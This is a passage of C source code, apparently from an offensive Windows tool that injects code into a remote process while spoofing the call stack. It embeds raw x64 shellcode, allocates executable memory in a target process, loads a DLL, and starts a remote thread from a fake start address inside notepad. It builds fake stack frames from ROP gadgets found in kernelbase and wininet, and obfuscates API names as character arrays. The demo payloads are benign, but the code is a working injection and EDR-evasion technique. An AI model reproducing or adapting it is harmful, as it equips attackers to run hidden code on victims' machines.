| CHAR fname[] = {'S', 'l', 'e', 'e', 'p', 'E', 'x', '\0'}; 258 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(kernelBase, (LPCSTR)fname); 259 | sConfig->Nargs = 2; 260 | sConfig->Arg01 = (PVOID)((UINT64)1000*500); 261 | sConfig->Arg02 = (PVOID)((UINT64)FALSE); 262 | 263 | }else if (TARGET == 1){ 264 | // Config for MessageBox (4 parameters: All registers) 265 | CHAR fname[] = {'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'A', '\0'}; 266 | CHAR msg[] = { 'T', 'h', 'i', 's', ' ', 'c', 'a', 'l', 'l', ' ', 'w', 'a', 's', ' ', 's', 'p', 'o', 'o', 'f', 'e', 'd', ' ', 's', 'u', 'c', 'c', 'e', 's', 's', 'f', 'u', 'l', 'l', 'y', '!', '\0'}; 267 | CHAR title[] = { 'R', 'e', 's', 'u', 'l', 't', ' ', 'o', 'f', ' ', 't', 'h', 'e', ' ', 'c', 'a', 'l', 'l', '\0'}; 268 | 269 | MemCopy(&sConfig->Message, msg, sizeof(msg)); 270 | MemCopy(&sConfig->Title, title, sizeof(title)); 271 | 272 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(user32, (LPCSTR)fname); 273 | sConfig->Nargs = 4; 274 | sConfig->Arg01 = NULL; 275 | sConfig->Arg02 = (PVOID)&sConfig->Title; 276 | sConfig->Arg03 = (PVOID)&sConfig->Message; 277 | sConfig->Arg04 = MB_OK; 278 | }else if (TARGET == 2){ 279 | // Config for ShellExecuteA (6 parameters: All registers + 2 stack parameters) 280 | CHAR fname[] = { 'S', 'h', 'e', 'l', 'l', 'E', 'x', 'e', 'c', 'u', 't', 'e', 'A', '\0' }; 281 | CHAR cmd[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 'o', 't', 'e', 'p', 'a', 'd', '.', 'e', 'x', 'e', '\0' }; 282 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(shell32, (LPCSTR)fname); 283 | sConfig->Nargs = 6; 284 | sConfig->Arg01 = NULL; 285 | sConfig->Arg02 = NULL; 286 | sConfig->Arg03 = (PVOID) &cmd; 287 | sConfig->Arg04 = NULL; 288 | sConfig->Args[0] = NULL; 289 | sConfig->Args[1] = (PVOID)5; 290 | }else if (TARGET == 3){ 291 | // Config for CreateProcessA (9 parameters: All registers + 5 stack parameters) 292 | CHAR fname[] = { 'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A', '\0' }; 293 | CHAR cmd[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 'o', 't', 'e', 'p', 'a', 'd', '.', 'e', 'x', 'e', '\0' }; 294 | sConfig->Nargs = 10; 295 | sConfig->SpoofFunctionPointer = (PVOID)GetSymbolAddress(kernel32Base, (LPCSTR)fname); 296 | 297 | sConfig->Arg01 = (PVOID)NULL; // Module name 298 | sConfig->Arg02 = (PVOID) &cmd; // Command line 299 | sConfig->Arg03 = NULL; // Process handle not inheritable 300 | sConfig->Arg04 = NULL; // Thread handle not inheritable 301 | sConfig->Args[0] = (PVOID)FALSE; // Set handle inheritance to FALSE 302 | sConfig->Args[1] = (PVOID)0; // No creation flags 303 | sConfig->Args[2] = (PVOID)NULL; // Use parent's environment block 304 | sConfig->Args[3] = (PVOID)NULL; // Use parent's starting directory 305 | sConfig->Args[4] = (PVOID)&si; // Pointer to STARTUPINFO structure 306 | sConfig->Args[5] = (PVOID)π // Pointer to PROCESS_INFORMATION structure 307 | } 308 | else { 309 | printf("Wrong target %s, specify `#define TARGET [0|1|2|3]\n", TARGET); 310 | return; 311 | } 312 | 313 | // If the call you want to spoof has arguments, please define them here 314 | // The gadget to restore RSP will get calculated using the number of arguments on the stack 315 | addRspGadget += (DWORD)((0x08 * sConfig->Nargs) << 0x20); 316 | 317 | // Zeroing out near variables 318 | custom_memset(&addRspGadget, 0, 8); 319 | 320 | // pHandle = PICOpenProcess(pPid); 321 | int length = 605; 322 | unsigned char shellcode[] = { 323 | 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x6c, 0x24, 0x08, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x49, 0x8b, 0xcf, 0x4c, 0x8b, 0xd9, 0x4d, 0x33, 0xff, 0x48, 0x89, 0x81, 324 | 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x59, 0x50, 0x48, 0x89, 0x5c, 0x24, 0x18, 0x48, 0x8b, 0xdc, 0x48, 0x83, 0xc3, 0x18, 0x48, 0x89, 0x99, 0xb0, 0x00, 325 | 0x00, 0x00, 0x48, 0x8b, 0xec, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x41, 0xff, 0x73, 0x38, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xc5, 0x08, 326 | 0x55, 0x48, 0x83, 0xed, 0x08, 0x41, 0x52, 0x41, 0x51, 0x41, 0x50, 0x51, 0x41, 0xff, 0x73, 0x28, 0x52, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 327 | 0x41, 0xff, 0x73, 0x30, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a, 328 | 0x20, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 329 | 0xff, 0x73, 0x08, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0xb3, 0xa0, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0xb3, 330 | 0x98, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41, 331 | 0xff, 0x73, 0x18, 0x6a, 0x40, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20, 0x48, 0x8b, 0x99, 0x98, 0x01, 332 | 0x00, 0x00, 0x48, 0x2b, 0x99, 0xa0, 0x01, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x75, 0x02, 0xeb, 0x0c, 0xff, 0xb1, 0xa8, 0x01, 0x00, 0x00, 0x48, 0x83, 0xeb, 333 | 0x08, 0xeb, 0xed, 0xff, 0xb1, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x1c, 0x24, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 334 | 0x10, 0x48, 0x03, 0x41, 0x40, 0x50, 0x48, 0x33, 0xc0, 0x48, 0x8b, 0x41, 0x70, 0x48, 0x01, 0x04, 0x24, 0x48, 0x8b, 0x81, 0xc0, 0x00, 0x00, 0x00, 0x48, 335 | 0x2b, 0x41, 0x68, 0x48, 0x2b, 0x61, 0x78, 0x4c, 0x8b, 0x91, 0xa8, 0x00, 0x00, 0x00, 0x4a, 0x89, 0x04, 0x14, 0xff, 0x71, 0x48, 0x48, 0x8b, 0x81, 0x80, 336 | 0x00, 0x00, 0x00, 0x48, 0x01, 0x04, 0x24, 0x48, 0x8b, 0x81, 0x90, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xa1, 0x88, 0x00, 0x00, 0x00, 0xff, 0xb1, 0xb0, 0x00, 337 | 0x00, 0x00, 0x48, 0x2b, 0xe0, 0x4c, 0x8b, 0x51, 0x50, 0x4c, 0x89, 0x14, 0x04, 0xff, 0x71, 0x58, 0x48, 0x8b, 0x81, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 338 | 0x45, 0x28, 0x48, 0x8b, 0x81, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0x00, 0x4c, 0x8b, 0xc8, 0x4c, 0x8b, 0x81, 0xc8, 0x00, 0x00, 0x00, 0x49, 0x83, 0xf8, 0x04, 339 | 0x7e, 0x1b, 0x48, 0xc7, 0xc0, 0x08, 0x00, 0x00, 0x00, 0x49, 0xf7, 0xe0, 0x4c, 0x8b, 0xbc, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x3c, 0x04, 0x49, 340 | 0xff, 0xc8, 0xeb, 0xdf, 0x49, 0x91, 0x4c, 0x8b, 0x89, 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x81, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x91, 0xd8, 0x00, 341 | 0x00, 0x00, 0x48, 0x8b, 0x89, 0xd0, 0x00, 0x00, 0x00, 0xeb, 0x00, 0x50, 0x41, 0x53, 0x41, 0x52, 0x41, 0x51, 0x41, 0x50, 0x51, 0x41, 0xff, 0x73, 0x28, 342 | 0x52, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x10, 343 | 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a, 0x01, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 0x41, 0xff, 0x73, 0x20, 344 | 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 0x41, 0xff, 0x73, 0x08, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0xb3, 0xa0, 0x00, 345 | 0x00, 0x00, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0xb3, 0x98, 0x00, 0x00, 0x00, 0x41, 0xff, 0x73, 0x20, 0x48, 0x83, 0xec, 0x28, 0x41, 0xff, 0x73, 0x30, 346 | 0x41, 0xff, 0x73, 0x10, 0x6a, 0x01, 0x6a, 0x01, 0x41, 0xff, 0x73, 0x18, 0x6a, 0x40, 0x41, 0xff, 0x33, 0x41, 0xff, 0x73, 0x28, 0x41, 0xff, 0x73, 0x60, 347 | 0x41, 0xff, 0x73, 0x20, 0xc3 348 | }; 349 | 350 | 351 | if (NULL == pHandle) { 352 | printf("[-] Failed to open process\n"); 353 | return; 354 | } 355 | 356 | LPVOID mem = PICVirtualAllocEx(pHandle, 4096, PAGE_READWRITE); 357 | PICCopyMemory(pHandle, mem, shellcode, length); 358 | 359 | if (!PICVirtualProtectEx(pHandle, mem, 4096, PAGE_EXECUTE_READWRITE)) { 360 | printf("[-] Failed to set memory protection: %08x\n", GetLastError()); 361 | return; 362 | } 363 | 364 | LPVOID rwmem = PICVirtualAllocEx(pHandle, 4096, PAGE_READWRITE); 365 | 366 | CHAR libName[] = { 'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'c', 'r', 'y', 'p', 't', 's', 'p', '.', 'd', 'l', 'l', '\0' }; 367 | 368 | PICCopyMemory(pHandle, rwmem, libName, sizeof(libName)); 369 | PICInjectDllProcess(pHandle, rwmem); 370 | 371 | sConfig->DataStruct.MaximumLength = sConfig->DataStruct.Length = length; 372 | sConfig->DataStruct.Buffer = (PUCHAR)mem; 373 | 374 | sConfig->DataStructPointer = (PVOID)&sConfig->DataStruct; 375 | 376 | sConfig->CodeBaseAddress = (PVOID)mem; 377 | sConfig->CodeBaseSize = (UINT64)length; 378 | 379 | DWORD oldProtect; 380 | sConfig->OldProtection = &oldProtect; 381 | 382 | printf("CodeBaseAddress 0x%I64X\n", mem); 383 | printf("CodeBaseSize 0x%I64X\n", length); 384 | 385 | // Setting return address 386 | //returnAddress = (PVOID)_ReturnAddress(); 387 | printf("_ReturnAddress() is: 0x%p\n", _ReturnAddress()); 388 | printf("_AddressOfReturnAddress() is: 0x%p\n", _AddressOfReturnAddress()); 389 | 390 | PVOID btit = (PVOID)GetProcAddress(kernel32Base, "BaseThreadInitThunk"); 391 | if (btit == NULL) { 392 | printf("Failed to find BaseThreadInitThunk function address: %08x\n", GetLastError()); 393 | return; 394 | } 395 | 396 | DWORD callOffset = FindCallInstructionOffset((uint64_t)btit, 0x30); 397 | if (callOffset == 0) { 398 | printf("Failed to find call offset for BaseThreadInitThunk\n"); 399 | return; 400 | } 401 | returnAddress = (PVOID)((uint64_t)callOffset + (uint64_t)btit); 402 | printf("BaseThreadInitThunk+0x17 address: 0x%I64X\n", returnAddress); 403 | 404 | // Must be given as a stack pointer 405 | sConfig->ReturnAddress = (PVOID)returnAddress; 406 | printf("Return address: 0x%I64X\n", sConfig->ReturnAddress); 407 | 408 | printf("Address of Function to spoof: 0x%I64X\n", sConfig->SpoofFunctionPointer); 409 | BYTE test = -1; 410 | HANDLE hThread; 411 | 412 | for (int iterations = 0; iterations < 10; iterations++) { 413 | 414 | printf("\n ------------------------------------ \n"); 415 | kernelBase = (HMODULE)GetModule(KERNELBASE_HASH); 416 | 417 | FindProlog(processImage, pRuntimeFunctionTableNotepad, rtLastIndexNotepad, &stackSize, &rtSaveIndexNotepad, &rtTargetOffsetNotepad); 418 | if (sConfig->FirstFrameSize == 0 || (UINT64)sConfig->FirstFrameFunctionPointer > 0x7FFFFFFFFFFF) { 419 | continue; 420 | iterations--; 421 | } 422 | //stackOffsetWhereRbpIsPushed = FindPushRbp(notepad, pRuntimeFunctionTableNotepad, rtLastIndexNotepad, &stackSize, &rtSaveIndexNotepad, &skip_pop_rsp_frame, &rtTargetOffsetNotepad); 423 | //stackOffsetWhereRbpIsPushed = FindPushRbp(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_pop_rsp_frame, &rtTargetOffsetNotepad); 424 | stackOffsetWhereRbpIsPushed = FindPushRbp(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_pop_rsp_frame, &rtTargetOffsetNotepad); 425 | 426 | printf("PUSH RBP offset: 0x%X\n", stackOffsetWhereRbpIsPushed); 427 | 428 | skip_stack_pivot_gadget = 3; 429 | //FindGadget(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_jmp_gadget, 2); 430 | if (sConfig->JmpRbxGadget == NULL) { 431 | FindGadget(wininet, pRuntimeFunctionTableWininet, rtLastIndexWininet, &stackSize, &rtSaveIndexWininet, &skip_jmp_gadget, 0); 432 | } 433 | // Fallback if the gadget in wininet is not found 434 | if (sConfig->JmpRbxGadget == NULL) { 435 | FindGadget(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_jmp_gadget, 3); 436 | sConfig->JmpRbxGadget = (PVOID)((UINT64)sConfig->JmpRbxGadget); 437 | } 438 | else { 439 | sConfig->JmpRbxGadget = (PVOID)((UINT64)sConfig->JmpRbxGadget - 0x2); 440 | } 441 | FindGadget(kernelBase, pRuntimeFunctionTable, rtLastIndex, &stackSize, &rtSaveIndex, &skip_stack_pivot_gadget, 1); 442 | 443 | sConfig->TotalStackSize = sConfig->SecondFrameSize + sConfig->JmpRbxGadgetFrameSize + 0x10; 444 | 445 | sConfig->FirstFrameFunctionPointer = (PVOID)((UINT64)sConfig->FirstFrameFunctionPointer - (UINT64)processImage); 446 | 447 | startAddress = (PVOID)((UINT64)sConfig->FirstFrameFunctionPointer + (UINT64)remoteNotepad); 448 | 449 | 450 | printf("Fake Start Address: 0x%I64x\n", (UINT64)startAddress); 451 | 452 | // Every time we generate a new random offset 453 | sConfig->FirstFrameRandomOffset = FindCallInstructionOffset((uint64_t)(UINT64)sConfig->FirstFrameFunctionPointer + (UINT64)processImage, 0x100); 454 | sConfig->SecondFrameRandomOffset = FindCallInstructionOffset((uint64_t)sConfig->SecondFrameFunctionPointer, 0x100); 455 | 456 | printf("Config Address: 0x%I64x\n", (UINT64)sConfig); 457 | 458 | PrintConfig(sConfig); 459 | 460 | sConfig->KeyStruct.Buffer = (PUCHAR)((UINT64)rwmem + 0x1B0); 461 | sConfig->KeyStructPointer = (PVOID)((UINT64)rwmem + 0x1D8); 462 | sConfig->DataStructPointer = (PVOID)((UINT64)rwmem + 0x1E8); 463 | sConfig->OldProtection = (PVOID)((UINT64)rwmem + 0x18); 464 | 465 | sConfig->Arg02 = (PVOID)((UINT64)rwmem + 0x1F8); 466 | sConfig->Arg03 = (PVOID)((UINT64)rwmem + 0x220); 467 | 468 | 469 | 470 | PICCopyMemory(pHandle, rwmem, sConfig, sizeof(SPOOFER)); 471 | 472 | //PrintConfig((PSPOOFER)rwmem); 473 | printf("-------------------------------------------------------------------------\n"); 474 | printf(" BEFORE SHELLCODE EXECUTION \n"); 475 | printf("-------------------------------------------------------------------------\n"); 476 | printf("[DEBUG] Thread Start Address: 0x%p\n", startAddress); 477 | printf("[DEBUG] Shellcode in memory at: 0x%p\n", mem); 478 | printf("[DEBUG] Shellcode config in memory at: 0x%p\n", rwmem); 479 | printf("-------------------------------------------------------------------------\n"); 480 | printf("[*] Press a char to continue...\n"); 481 | getcharFp(); 482 | 483 | hThread = PICCreateRemoteThread(pHandle, mem, startAddress, rwmem); 484 | 485 | printf("-------------------------------------------------------------------------\n"); 486 | printf(" AFTER SHELLCODE EXECUTION \n"); 487 | printf("-------------------------------------------------------------------------\n"); 488 | printf("[DEBUG] Shellcode in memory at: 0x%p\n", mem); 489 | printf("[DEBUG] Shellcode config in memory at: 0x%p\n", rwmem); 490 | printf("-------------------------------------------------------------------------\n"); 491 | printf("[*] Press a char to continue...\n"); 492 | getcharFp(); 493 | 494 | 495 | if (TARGET == 3){ 496 | printf("Process: "); 497 | printf("0x%I64x\n", pi.hProcess); 498 | TerminateProcessFp(pi.hProcess, 0); 499 | } 500 | } 501 | } 502 | 503 | 504 | DWORD FindProlog(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD64 rtTargetOffset) { 505 | PUNWIND_INFO unwindInfo; 506 | BOOL saFound = FALSE; 507 | DWORD status = 0; 508 | DWORD startIndex = *prtSaveIndex; 509 | *stackSize = 0; 510 | 511 | for (DWORD i = *prtSaveIndex + 1; i < rtLastIndex; i++) 512 | { 513 | 514 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData); 515 | 516 | /* 517 | if ((unwindInfo->Flags | UNW_FLAG_UHANDLER) != unwindInfo->Flags){ 518 | // Skip unwind info that is not a prolog 519 | continue; 520 | } 521 | */ 522 | 523 | status = GetStackFrameSize(moduleBase, (PVOID)unwindInfo, stackSize); 524 | if (*stackSize <= 0x48) { 525 | continue; 526 | } 527 | 528 | if (status != 0) { 529 | *prtSaveIndex = i; 530 | break; 531 | 532 | /* 533 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunctionTable[i].BeginAddress; j < (UINT64)moduleBase + pRuntimeFunctionTable[i].EndAddress; j++) { 534 | 535 | if (*(WORD*)j == 0xe1ff) { 536 | saFound = TRUE; 537 | startAddress = (PVOID)j; 538 | } 539 | } 540 | if(saFound){ 541 | *prtSaveIndex = i; 542 | break; 543 | } 544 | */ 545 | 546 | 547 | } 548 | } 549 | 550 | if (startIndex != *prtSaveIndex){ 551 | printf("Module base 0x%I64X\n", moduleBase); 552 | printf("Module rt beginaddress 0x%I64X\n", (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress); 553 | 554 | *rtTargetOffset = (DWORD64)((UINT64)moduleBase + (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress); 555 | sConfig->FirstFrameFunctionPointer = (PVOID)*rtTargetOffset; 556 | sConfig->FirstFrameSize = *stackSize; 557 | } 558 | 559 | printf("First Frame FP: 0x%I64X\n", *rtTargetOffset); 560 | printf("First Frame stack size: 0x%lx\n", *stackSize); 561 | 562 | printf("Return address: 0x%I64X\n", (ULONGLONG)(moduleBase + *stackSize)); 563 | 564 | return status; 565 | } 566 | 567 | 568 | 569 | DWORD FindPushRbp(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, PDWORD64 rtTargetOffset) { 570 | PUNWIND_INFO unwindInfo; 571 | DWORD pdwCallOffset = 0; 572 | DWORD status = 0; 573 | DWORD suitableFrames = 0; 574 | *stackSize = 0; 575 | 576 | 577 | for (DWORD i = 0; i < rtLastIndex; i++) 578 | { 579 | 580 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData); 581 | status = GetStackFrameSizeWhereRbpIsPushedOnStack(moduleBase, (PVOID)unwindInfo, stackSize); 582 | 583 | if (0 != status) { 584 | suitableFrames++; 585 | if (*skip >= suitableFrames) { 586 | // Let's try another frame 587 | continue; 588 | } 589 | *skip = suitableFrames; 590 | printf("Breaking at: %d\n", i); 591 | *prtSaveIndex = i; 592 | break; 593 | } 594 | } 595 | 596 | *rtTargetOffset = (DWORD64)((UINT64)moduleBase + (UINT64)pRuntimeFunctionTable[*prtSaveIndex].BeginAddress); 597 | sConfig->SecondFrameFunctionPointer = (PVOID)*rtTargetOffset; 598 | sConfig->SecondFrameSize = *stackSize; 599 | sConfig->StackOffsetWhereRbpIsPushed = status; 600 | 601 | printf("Second Frame FP: 0x%I64X\n", *rtTargetOffset); 602 | printf("Second Frame stack size: 0x%lx\n", *stackSize); 603 | 604 | printf("Return address: 0x%I64X\n", (ULONGLONG)(moduleBase + *stackSize)); 605 | 606 | 607 | return status; 608 | } 609 | 610 | 611 | VOID FindGadget(HMODULE moduleBase, PERF pRuntimeFunctionTable, DWORD rtLastIndex, PDWORD stackSize, PDWORD prtSaveIndex, PDWORD skip, DWORD gadgetType) { 612 | DWORD gadgets = 0; 613 | DWORD status; 614 | PUNWIND_INFO unwindInfo; 615 | DWORD addRspGadget = ADD_RSP_0x38; 616 | 617 | if (sConfig->Nargs > 8) { 618 | addRspGadget = ADD_RSP_0x80; 619 | } 620 | 621 | addRspGadget += (DWORD)((0x08 * sConfig->Nargs) << 24); 622 | 623 | printf("ADD RSP Gadget: 0x%x\n", (addRspGadget & 0x00FFFFFF)); 624 | 625 | for (DWORD i = 0; i < rtLastIndex; i++) 626 | { 627 | BOOL gadgetFound = FALSE; 628 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunctionTable[i].BeginAddress; j < (UINT64)moduleBase + pRuntimeFunctionTable[i].EndAddress; j++) { 629 | 630 | if ( 631 | ( 632 | ( 633 | (*(DWORD*)j == addRspGadget && *(BYTE*)(j + 4) == RET && sConfig->Nargs <= 8) 634 | || 635 | ((*(DWORD*)j & 0x00FFFFFF) == (addRspGadget & 0x00FFFFFF) && *(DWORD*)(j + 2) >= (0x08 * sConfig->Nargs) && *(BYTE*)(j + 7) == RET && sConfig->Nargs > 8) 636 | ) && gadgetType == 1 637 | ) || ( 638 | *(WORD*)j == JMP_PTR_RBX && (gadgetType == 0 || gadgetType == 3)) 639 | || ( 640 | (*(WORD*)j == PUSH_RBX || *(WORD*)j == JMP_RBX) && gadgetType == 2) 641 | ) { 642 | 643 | *stackSize = 0; 644 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunctionTable[i].UnwindData); 645 | status = GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PVOID)unwindInfo, stackSize); 646 | 647 | if (status != 0) { 648 | gadgets++; 649 | if (*skip >= gadgets) { 650 | // Let's try another gadget 651 | continue; 652 | } 653 | *skip = gadgets; 654 | 655 | if (gadgetType == 1){ 656 | sConfig->AddRspXGadget = (PVOID)j; 657 | sConfig->AddRspXGadgetFrameSize = *stackSize; 658 | gadgetFound = TRUE; 659 | *prtSaveIndex = i; 660 | printf("Breaking at: %d \n", i); 661 | printf("Gadget Address: 0x%I64X \n", j); 662 | printf("ADD RSP, X ; RET - Frame Stack size: 0x%lx \n", *stackSize); 663 | } 664 | else if (gadgetType == 2){ 665 | sConfig->JmpRbxGadget = (PVOID)j; 666 | sConfig->JmpRbxGadgetFrameSize = *stackSize; 667 | gadgetFound = TRUE; 668 | *prtSaveIndex = i; 669 | printf("Breaking at: %d \n", i); 670 | printf("Gadget Address: 0x%I64X \n", j); 671 | printf("PUSH RBX ; RET - Frame Stack size: 0x%lx \n", *stackSize); 672 | } 673 | else if (gadgetType == 3) { 674 | sConfig->JmpRbxGadget = (PVOID)j; 675 | sConfig->JmpRbxGadgetFrameSize = *stackSize; 676 | gadgetFound = TRUE; 677 | *prtSaveIndex = i; 678 | printf("Breaking at: %d\n", i); 679 | printf("Gadget Address: 0x%I64X\n", j); 680 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize); 681 | } 682 | else { 683 | if ((*(BYTE*)(j - 0x7) == 0xe8 && *(BYTE*)(j - 0x2) == 0xd8)) { 684 | sConfig->JmpRbxGadget = (PVOID)j; 685 | sConfig->JmpRbxGadgetFrameSize = *stackSize; 686 | gadgetFound = TRUE; 687 | *prtSaveIndex = i; 688 | printf("Breaking at: %d\n", i); 689 | printf("Gadget Address: 0x%I64X\n", j); 690 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize); 691 | } 692 | else { 693 | continue; 694 | } 695 | } 696 | break; 697 | } 698 | } 699 | } 700 | if (gadgetFound) { 701 | break; 702 | } 703 | } 704 | } 705 | 706 | 707 | BOOL CheckForGadget(HMODULE moduleBase, PERF pRuntimeFunction, PDWORD stackSize, PDWORD skip, DWORD gadgetType) { 708 | DWORD gadgets = 0; 709 | DWORD status; 710 | PUNWIND_INFO unwindInfo; 711 | BOOL gadgetFound = FALSE; 712 | DWORD callOffset = 1; 713 | 714 | for (UINT64 j = (UINT64)moduleBase + pRuntimeFunction->BeginAddress + 7; j < (UINT64)moduleBase + pRuntimeFunction->EndAddress - 8; j++) { 715 | //printf("0x%I64x - 0x%I64x\n", (UINT64)moduleBase, j); 716 | 717 | if ( 718 | ( 719 | ( 720 | ((*(DWORD*)j & 0x00FFFFFF) == (ADD_RSP_0x38 & 0x00FFFFFF) && *(BYTE*)(j + 4) == RET) 721 | || 722 | ((*(DWORD*)j & 0x00FFFFFF) == (ADD_RSP_0x80 & 0x00FFFFFF) && *(BYTE*)(j + 7) == RET) 723 | ) && gadgetType == 1 724 | ) || ( 725 | ( 726 | *(WORD*)j == JMP_PTR_RBX || 727 | *(WORD*)j == JMP_RDI || 728 | *(WORD*)j == JMP_RSI || 729 | *(DWORD*)j == JMP_R12 || 730 | *(DWORD*)j == JMP_R13 || 731 | ((*(DWORD*)j) & 0x00ffffff) == JMP_RBP || 732 | ((*(DWORD*)j) & 0x00ffffff) == JMP_R14 || 733 | ((* (DWORD*)j) & 0x00ffffff) == JMP_R15 734 | ) && gadgetType == 0 735 | ) 736 | ) { 737 | 738 | /* 739 | // But if it's not after a call... well we can't take it 740 | if (!(*(BYTE*)(j-5) == CALL_NEAR || *(WORD*)(j - 6) == CALL_NEAR_QPTR || (*(DWORD*)(j - 7) & 0x00ffffff) == CALL_FAR_QPTR) 741 | && 742 | !(*(BYTE*)(j - 7) == CALL_NEAR || *(WORD*)(j - 8) == CALL_NEAR_QPTR || (*(DWORD*)(j - 9) & 0x00ffffff) == CALL_FAR_QPTR) 743 | && 744 | !(*(BYTE*)(j - 9) == CALL_NEAR || *(WORD*)(j - 10) == CALL_NEAR_QPTR || (*(DWORD*)(j - 11) & 0x00ffffff) == CALL_FAR_QPTR) 745 | && gadgetType == 1 746 | ) { 747 | continue; 748 | } 749 | */ 750 | 751 | *stackSize = 0; 752 | unwindInfo = (PUNWIND_INFO)((UINT64)moduleBase + (DWORD)pRuntimeFunction->UnwindData); 753 | status = GetStackFrameSizeIgnoringUwopSetFpreg(moduleBase, (PVOID)unwindInfo, stackSize); 754 | 755 | if (status != 0) { 756 | gadgets++; 757 | if (*skip >= gadgets) { 758 | // Let's try another gadget 759 | continue; 760 | } 761 | *skip = gadgets; 762 | 763 | if (gadgetType == 1) { 764 | sConfig->AddRspXGadget = (PVOID)j; 765 | sConfig->AddRspXGadgetFrameSize = *stackSize; 766 | gadgetFound = TRUE; 767 | printf("Gadget Address: 0x%I64X \n", j); 768 | printf("ADD RSP, X Frame Stack size: 0x%lx \n", *stackSize); 769 | } 770 | else { 771 | sConfig->JmpRbxGadget = (PVOID)j; 772 | sConfig->JmpRbxGadgetFrameSize = *stackSize; 773 | gadgetFound = TRUE; 774 | printf("Gadget Address: 0x%I64X\n", j); 775 | printf("JMP [RBX] Frame Stack size: 0x%lx\n", *stackSize); 776 | } 777 | break; 778 | } 779 | } 780 | } 781 | return gadgetFound; 782 | } 783 | 784 | VOID FindSuitableChain() { 785 | DWORD rtSaveIndex; 786 | DWORD stackSize; 787 | DWORD64 rtTargetOffset; 788 | 789 | DLL kernelbase; 790 | DLL kernel32; 791 | DLL ntdll; 792 | DLL mshtml; 793 | DLL root; 794 | DLL current; 795 | 796 | DWORD skip_jmp_gadget = 0; 797 | DWORD skip_stack_pivot_gadget = 0; 798 | DWORD skip_prolog_frame = 0; 799 | DWORD skip_pop_rsp_frame = 0; 800 | DWORD pdwCallOffset = 